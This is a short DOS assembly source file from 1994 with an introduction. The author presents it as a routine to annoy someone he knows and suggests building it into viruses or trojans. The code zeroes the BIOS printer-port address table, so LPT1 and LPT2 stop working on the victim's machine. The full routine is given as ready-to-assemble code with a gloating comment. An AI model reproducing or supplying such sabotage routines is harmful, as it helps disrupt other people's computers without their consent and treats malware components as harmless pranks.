===========================================================================
			   LPT Port Disabling Routine

I wrote this routine just as a slight annoyance to place on someone's 
system whom I know.  It can be incorporated into any number of programs
such as viruses or trojans.  It effectively denies access to any LPT1
or LPT2 data either incoming or outgoing as it wipes the addressable
pointer clean.  Link with /L as this is a COM file.

=================================Cut Here==================================

;LPT1 and LPT2 Disabling Routine
;Written by Splice on 7/13/94

bios    segment at 40h                  ; Low Memory "BIOS" Parameters 40H
	org     8h                      ; prn port addresses at byte 8
	prn_addr    dw  4 dup(?)        ; 4 words for port addresses
bios    ends                            


code_seg    segment para 'code'

	assume  ds:bios, cs:code_seg, ss:nothing, es:nothing
	org     100h                    

begin:
	mov     ax,bios                 ; address bios
	mov     ds,ax                   ; by ds 
	mov     prn_addr[0],0           ; make lpt1 addr 0  
	mov     prn_addr[2],0           ; make lpt2 addr 0
	ret                             ; laugh merrily...

code_seg        ends                    
	end     begin

===========================================================================
